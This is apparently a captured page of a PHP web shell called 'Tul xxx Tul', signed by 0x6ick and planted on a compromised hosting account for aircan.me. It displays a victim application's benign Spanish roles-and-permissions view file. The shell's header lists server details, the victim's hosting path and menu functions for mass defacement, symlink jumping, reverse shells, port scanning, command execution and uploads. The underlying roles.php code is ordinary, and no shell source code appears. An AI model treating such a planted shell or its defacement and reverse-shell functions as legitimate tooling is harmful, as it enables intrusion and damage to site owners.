Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
piscina
/
app
/
views
/
empleados
/
Viewing: roles.php
<div class="empleados-roles container-fluid py-4"> <div class="d-flex flex-column flex-lg-row justify-content-between align-items-lg-center gap-3 mb-4"> <div> <h1 class="fw-bold mb-1">Roles y permisos</h1> <p class="text-muted mb-0">Gestiona el acceso a módulos del sistema según el rol asignado.</p> </div> <a class="btn btn-outline-secondary" href="<?php echo base_url('empleados'); ?>"><i class="fa-solid fa-arrow-left me-1"></i> Volver al listado</a> </div> <?php if (!empty($mensaje)): ?> <div class="alert alert-<?php echo htmlspecialchars($mensaje['tipo'], ENT_QUOTES, 'UTF-8'); ?> border-0 shadow-sm mb-4"> <i class="fa-solid fa-circle-info me-2"></i><?php echo htmlspecialchars($mensaje['mensaje'], ENT_QUOTES, 'UTF-8'); ?> </div> <?php endif; ?> <div class="row g-4 mb-4"> <div class="col-12 col-xl-4"> <div class="card border-0 shadow-sm h-100 bg-primary text-white"> <div class="card-body"> <span class="badge bg-light text-primary mb-2">Sesión actual</span> <h2 class="h4 fw-bold mb-1">Rol: <?php echo htmlspecialchars($usuarioActualNombre ?? $usuarioActual, ENT_QUOTES, 'UTF-8'); ?></h2> <p class="text-white-75">Permisos disponibles:</p> <ul class="list-unstyled text-white-75 small mb-0"> <?php if (empty($permisosActuales)): ?> <li>Sin permisos asignados.</li> <?php else: ?> <?php foreach ($permisosActuales as $permiso): ?> <li><i class="fa-solid fa-circle-check me-2"></i><?php echo htmlspecialchars($permiso, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> <?php endif; ?> </ul> </div> </div> </div> <div class="col-12 col-xl-8"> <div class="card border-0 shadow-sm h-100"> <div class="card-body"> <div class="d-flex justify-content-between align-items-center mb-3"> <h2 class="h5 fw-semibold mb-0">Roles definidos</h2> <div class="d-flex align-items-center gap-2"> <small class="text-muted"><?php echo count($roles); ?> rol(es) configurados</small> <form action="<?php echo base_url('empleados/sincronizarUsuariosRoles'); ?>" method="POST"> <button type="submit" class="btn btn-sm btn-outline-secondary"> <i class="fa-solid fa-arrows-rotate me-1"></i>Sincronizar usuarios </button> </form> </div> </div> <form action="<?php echo base_url('empleados/guardarPermisosRol'); ?>" method="POST"> <div class="table-responsive"> <table class="table align-middle"> <thead class="table-light"> <tr> <th>Rol</th> <th>Permisos disponibles</th> </tr> </thead> <tbody> <?php foreach ($roles as $rol): ?> <tr> <td> <span class="fw-semibold <?php echo $rol['nombre'] === 'Administrador' ? 'text-primary' : ''; ?>"> <?php echo htmlspecialchars($rol['nombre'], ENT_QUOTES, 'UTF-8'); ?> </span> <div class="small text-muted">Alias: <?php echo htmlspecialchars($rol['alias'], ENT_QUOTES, 'UTF-8'); ?></div> </td> <td> <div class="d-flex flex-wrap gap-2"> <?php foreach ($permisosDisponibles as $clave => $label): ?> <div class="form-check form-check-inline"> <input class="form-check-input permiso-check" type="checkbox" id="perm_<?php echo (int) $rol['id']; ?>_<?php echo htmlspecialchars($clave, ENT_QUOTES, 'UTF-8'); ?>" name="permisos[<?php echo (int) $rol['id']; ?>][]" value="<?php echo htmlspecialchars($clave, ENT_QUOTES, 'UTF-8'); ?>" <?php echo in_array($clave, $rol['permisos'], true) ? 'checked' : ''; ?> data-role="<?php echo (int) $rol['id']; ?>" data-key="<?php echo htmlspecialchars($clave, ENT_QUOTES, 'UTF-8'); ?>"> <label class="form-check-label" for="perm_<?php echo (int) $rol['id']; ?>_<?php echo htmlspecialchars($clave, ENT_QUOTES, 'UTF-8'); ?>"><?php echo htmlspecialchars($label, ENT_QUOTES, 'UTF-8'); ?></label> </div> <?php endforeach; ?> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="d-flex justify-content-end mt-3"> <button type="submit" class="btn btn-primary"> <i class="fa-solid fa-floppy-disk me-1"></i>Guardar cambios </button> </div> </form> </div> </div> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function () { var checks = document.querySelectorAll('.permiso-check'); var map = {}; checks.forEach(function (c) { var role = c.getAttribute('data-role'); if (!map[role]) { map[role] = []; } map[role].push(c); }); Object.keys(map).forEach(function (role) { var group = map[role]; function sync() { var todo = group.find(function (x) { return x.getAttribute('data-key') === 'todo'; }); var isTodo = todo && todo.checked; group.forEach(function (x) { if (x !== todo) { x.disabled = !!isTodo; } }); } group.forEach(function (x) { x.addEventListener('change', sync); }); sync(); }); }); </script>
Coded With 💗 by
0x6ick